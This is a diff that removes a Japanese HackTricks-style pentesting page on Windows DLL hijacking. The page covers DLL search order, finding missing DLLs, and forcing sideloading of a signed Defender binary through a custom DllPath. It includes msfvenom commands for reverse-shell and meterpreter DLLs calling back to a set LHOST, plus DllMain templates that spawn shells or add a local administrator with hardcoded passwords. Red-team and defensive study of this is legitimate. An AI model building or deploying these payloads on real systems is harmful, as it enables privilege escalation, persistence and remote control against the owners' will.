- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,317 +0,0 @@
|
||||
# Dll Hijacking
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## 基本情報
|
||||
|
||||
DLL Hijacking は、信頼されたアプリケーションに悪意ある DLL を読み込ませるよう操作する手法です。この用語には **DLL Spoofing, Injection, and Side-Loading** のような複数の戦術が含まれます。主に code execution や persistence を目的とし、稀に privilege escalation に用いられます。ここでは escalation に注目していますが、hijacking の手法自体は目的にかかわらず基本的に同じです。
|
||||
|
||||
### 一般的な手法
|
||||
|
||||
DLL hijacking にはいくつかの方法があり、各手法の有効性はアプリケーションの DLL ロード戦略によって異なります:
|
||||
|
||||
1. **DLL Replacement**: 正規の DLL を悪意あるものと差し替えます。元の DLL の機能を保持するために DLL Proxying を使用することがあります。
|
||||
2. **DLL Search Order Hijacking**: 悪意ある DLL を正規のものより先に検索されるパスに配置し、アプリケーションの検索順序を悪用します。
|
||||
3. **Phantom DLL Hijacking**: アプリケーションが存在しない必要な DLL と誤認して読み込むような悪意ある DLL を作成します。
|
||||
4. **DLL Redirection**: %PATH% や .exe.manifest / .exe.local といった検索パラメータを変更して、アプリケーションを悪意ある DLL に向けます。
|
||||
5. **WinSxS DLL Replacement**: WinSxS ディレクトリ内で正規の DLL を悪意あるものと置換する手法で、DLL side-loading と関連することが多いです。
|
||||
6. **Relative Path DLL Hijacking**: コピーされたアプリケーションと同じユーザ制御のディレクトリに悪意ある DLL を置く手法で、Binary Proxy Execution に類似します。
|
||||
|
||||
## 欠落している DLL の検出
|
||||
|
||||
システム内で欠落している DLL を見つける最も一般的な方法は、sysinternals の [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) を実行し、次の 2 つのフィルタを設定することです:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
そして **File System Activity** のみを表示します:
|
||||
|
||||
.png>)
|
||||
|
||||
一般的な missing dlls を探す場合は、これを数秒間実行し続けます。特定の実行ファイル内の missing dll を探す場合は、"Process Name" "contains" "\<exec name>" のような追加フィルタを設定し、対象を実行してイベントのキャプチャを停止してください。
|
||||
|
||||
## 欠落している DLL の悪用
|
||||
|
||||
権限昇格を狙う場合、最も有効なのは、特権プロセスが読み込もうとする DLL をそのプロセスが検索する場所のいずれかに書き込めることです。つまり、DLL が元の DLL のあるフォルダより先に検索されるフォルダに悪意ある DLL を書き込める(稀なケース)か、DLL が検索されるフォルダに書き込みができ、かつ元の DLL がどのフォルダにも存在しない場合に有効です。
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||||
|
||||
Windows アプリケーションは、あらかじめ定義された検索パスのセットに従い、特定の順序で DLL を探します。悪意ある DLL をこれらのディレクトリのいずれかに戦略的に配置すると、正規の DLL より先に読み込まれてしまい、DLL hijacking の問題が発生します。これを防ぐための対策として、アプリケーション側で必要な DLL を参照する際に絶対パスを使用することが有効です。
|
||||
|
||||
32-bit システムにおける DLL 検索順序は以下の通りです:
|
||||
|
||||
1. アプリケーションが読み込まれたディレクトリ。
|
||||
2. システムディレクトリ。パスを取得するには [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 関数を使用します。(_C:\Windows\System32_)
|
||||
3. 16-bit システムディレクトリ。パスを取得する関数はありませんが検索されます。(_C:\Windows\System_)
|
||||
4. Windows ディレクトリ。パスを取得するには [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 関数を使用します。(_C:\Windows_)
|
||||
5. カレントディレクトリ。
|
||||
6. PATH 環境変数に列挙されたディレクトリ。これは App Paths レジストリキーで指定されたアプリケーション毎のパスを含まない点に注意してください。App Paths キーは DLL 検索パスの計算には使用されません。
|
||||
|
||||
これは SafeDllSearchMode が有効な場合のデフォルトの検索順序です。無効にするとカレントディレクトリの優先度が 2 番目に上がります。この機能を無効にするには、HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode のレジストリ値を作成し、0 に設定します(デフォルトは有効)。
|
||||
|
||||
[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 関数が **LOAD_WITH_ALTERED_SEARCH_PATH** で呼ばれると、検索は LoadLibraryEx が読み込んでいる実行モジュールのディレクトリから開始されます。
|
||||
|
||||
最後に、DLL が名前だけでなく絶対パスを指定してロードされる場合があります。その場合、その DLL は指定されたパスでのみ検索されます(その DLL に依存関係がある場合、それらは名前のみで読み込まれた場合と同様に検索されます)。
|
||||
|
||||
検索順序を変更する他の方法もありますが、ここでは説明しません。
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
新しく作成するプロセスの DLL 検索パスに決定的に影響を与える高度な方法のひとつは、ntdll のネイティブ API を使ってプロセスを生成する際に RTL_USER_PROCESS_PARAMETERS の DllPath フィールドを設定することです。ここに攻撃者が制御するディレクトリを指定すると、インポートされた DLL を名前で解決する(絶対パスではなく、セーフなロードフラグを使っていない)ターゲットプロセスに対して、そのディレクトリから悪意ある DLL を読み込ませることが可能になります。
|
||||
|
||||
要点
|
||||
- RtlCreateProcessParametersEx でプロセスパラメータを構築し、制御下のフォルダを指すカスタム DllPath を指定します(例: dropper/unpacker が存在するディレクトリ)。
|
||||
- RtlCreateUserProcess でプロセスを作成します。ターゲットバイナリが名前で DLL を解決すると、ローダはこの DllPath を参照するため、悪意ある DLL がターゲット EXE と同じ場所に置かれていなくても確実に sideloading できます。
|
||||
|
||||
注意点 / 制限事項
|
||||
- これは作成される子プロセスに影響するもので、現在のプロセスにのみ影響する SetDllDirectory とは異なります。
|
||||
- ターゲットは名前で DLL をインポートまたは LoadLibrary する必要があります(絶対パスではなく、LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories を使用していないこと)。
|
||||
- KnownDLLs やハードコードされた絶対パスはハイジャックできません。Forwarded exports や SxS によって優先順位が変わる場合があります。
|
||||
|
||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
運用上の使用例
|
||||
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
|
||||
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
|
||||
|
||||
この手法は実際にマルチステージのサイドローディングチェインを引き起こす事例で観測されています:最初のランチャーがヘルパー DLL を配置し、それが Microsoft-signed でハイジャック可能なバイナリをカスタム DllPath で起動して、ステージングディレクトリから攻撃者の DLL を強制的に読み込ませます。
|
||||
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
|
||||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
||||
|
||||
- When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
|
||||
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
|
||||
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
|
||||
|
||||
### 権限の昇格
|
||||
|
||||
**要件**:
|
||||
|
||||
- **異なる権限** (horizontal or lateral movement) の下で動作している、または動作する予定のプロセスで、**DLL が存在しない**ものを特定する。
|
||||
- **DLL が検索される**任意の**ディレクトリ**に対して**書き込みアクセス**があることを確認する。この場所は実行ファイルのディレクトリやシステムパス内のディレクトリである可能性がある。
|
||||
|
||||
確かに要件を見つけるのは難しく、デフォルトでは特権実行ファイルが DLL を欠いていることは稀であり、システムパスのフォルダに書き込み権限があるのは通常あり得ません(デフォルトでは不可能です)。しかし、設定ミスのある環境ではこれが可能になることがあります。もし運良く要件を満たす環境を見つけたら、[UACME](https://github.com/hfiref0x/UACME) プロジェクトを確認してみてください。プロジェクトの主な目的は **bypass UAC** ですが、使用可能な Windows バージョン向けの **PoC**(おそらく書き込み権限のあるフォルダのパスを変更するだけで済みます)が見つかるかもしれません。
|
||||
|
||||
注意: **フォルダ内の権限を確認する**には、次を実行してください:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
そして、**PATH内のすべてのフォルダの権限を確認する**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
executable の imports と dll の exports は以下のコマンドで確認できます:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
For a full guide on how to **Dll Hijacking を悪用して権限を昇格する** with permissions to write in a **System Path folder** check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### 自動化ツール
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)は system PATH 内の任意のフォルダに書き込み権限があるかをチェックします。\
|
||||
この脆弱性を発見するための他の興味深い自動化ツールは **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll_ です。
|
||||
|
||||
### 例
|
||||
|
||||
もし悪用可能なシナリオを見つけた場合、成功させるために最も重要なことの一つは、実行ファイルがそこからインポートするすべての関数を少なくともエクスポートする **dll を作成すること** です。なお、Dll Hijacking は [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) や [**High Integrity to SYSTEM**](#from-high-integrity-to-system) への昇格に便利である点に注意してください。実行目的の dll hijacking に焦点を当てたこの調査内には、**有効な dll を作成する方法** の例があります: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
さらに、**next sectio**n ではテンプレートとして役立ついくつかの **basic dll codes** や、不要な関数をエクスポートした **dll** を作成するための基本的なコード例が見つかります。
|
||||
|
||||
## **Dll を作成およびコンパイルする**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
基本的に **Dll proxy** はロードされたときにあなたの悪意あるコードを **実行できる** 一方で、実際のライブラリへのすべての呼び出しを中継して期待される動作を **公開し動作する** ことができる Dll です。
|
||||
|
||||
ツール [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) や [**Spartacus**](https://github.com/Accenture/Spartacus) を使うと、実行ファイルを指定してプロキシ化したいライブラリを選び **generate a proxified dll** する、あるいは Dll を指定して **generate a proxified dll** することができます。
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**meterpreter (x86)を取得する:**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**ユーザーを作成する (x86、x64バージョンは見当たりませんでした):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Your own
|
||||
|
||||
注意: 多くの場合、コンパイルする Dll は被害者プロセスによってロードされる複数の関数を必ず **export several functions** している必要があります。これらの関数が存在しないと、**binary won't be able to load**(ロードできず)、**exploit will fail**。
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
switch(dwReason){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
system("whoami > C:\\users\\username\\whoami.txt");
|
||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
if (dwReason == DLL_PROCESS_ATTACH){
|
||||
system("cmd.exe /k net localgroup administrators user /add");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
int owned()
|
||||
{
|
||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
||||
exit(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
owned();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//Another possible DLL
|
||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
||||
|
||||
#include<windows.h>
|
||||
#include<stdlib.h>
|
||||
#include<stdio.h>
|
||||
|
||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
||||
system("cmd");
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DEATCH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user